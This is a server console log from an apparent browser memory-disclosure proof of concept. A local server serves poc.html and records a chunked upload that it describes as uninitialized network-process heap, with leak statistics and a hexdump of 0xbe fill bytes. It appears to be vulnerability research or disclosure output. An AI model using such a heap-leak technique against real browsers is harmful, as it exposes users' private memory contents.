[server] Listening on http://127.0.0.1:18080/ [server] Serve poc.html at /poc.html [server] Leak sink at POST /upload [server] "GET /poc.html HTTP/1.1" 200 - [server] "GET /poc.html HTTP/1.1" 200 - ============================================================================== [server] *** POST /upload received -- this is the leak *** [server] Transfer-Encoding: chunked ============================================================================== [server] First chunk size: 16000 (0x3e80) bytes [server] === LEAK ANALYSIS === [server] Received 16000 bytes [server] Nonzero bytes: 4096 / 16000 (25.6%) [server] *** The renderer NEVER wrote ANY bytes to the upload pipe. *** [server] *** Every byte above is uninitialized network-process heap. *** [server] First 256 bytes (hexdump): [server] 0000 be be be be be be be be be be be be be be be be |................| [server] 0010 be be be be be be be be be be be be be be be be |................| [server] 0020 be be be be be be be be be be be be be be be be |................| [server] 0030 be be be be be be be be be be be be be be be be |................| [server] 0040 be be be be be be be be be be be be be be be be |................| [server] 0050 be be be be be be be be be be be be be be be be |................| [server] 0060 be be be be be be be be be be be be be be be be |................| [server] 0070 be be be be be be be be be be be be be be be be |................| [server] 0080 be be be be be be be be be be be be be be be be |................| [server] 0090 be be be be be be be be be be be be be be be be |................| [server] 00a0 be be be be be be be be be be be be be be be be |................| [server] 00b0 be be be be be be be be be be be be be be be be |................| [server] 00c0 be be be be be be be be be be be be be be be be |................| [server] 00d0 be be be be be be be be be be be be be be be be |................| [server] 00e0 be be be be be be be be be be be be be be be be |................| [server] 00f0 be be be be be be be be be be be be be be be be |................| [server] Raw leak saved to: leaked_bytes.bin [server] Hex dump saved to: leaked_bytes.hex [server] >>> LEAK CONFIRMED: 4096 nonzero bytes of network-process heap exfiltrated <<< [server] "POST /upload HTTP/1.1" 200 - [server] code 404, message Not Found [server] "GET /favicon.ico HTTP/1.1" 404 -